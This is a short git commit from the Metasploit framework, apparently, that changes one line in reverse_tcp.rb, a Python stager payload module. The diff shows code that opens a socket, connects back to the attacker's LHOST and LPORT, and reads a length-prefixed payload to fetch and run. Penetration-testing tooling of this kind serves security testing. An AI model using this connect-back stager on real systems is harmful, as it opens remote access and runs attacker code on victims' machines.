Update reverse_tcp.rb

bug/bundler_fix
Tom Sellers 2014-05-25 14:04:54 -05:00
parent b5c567c462
commit 77f66f8510
1 changed files with 1 additions and 1 deletions

View File

@ -32,7 +32,7 @@ module Metasploit3
cmd = ''
# Set up the socket
cmd += "import socket,struct\n"
cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1
cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
cmd += "l=struct.unpack('>I',s.recv(4))[0]\n"
cmd += "d=s.recv(4096)\n"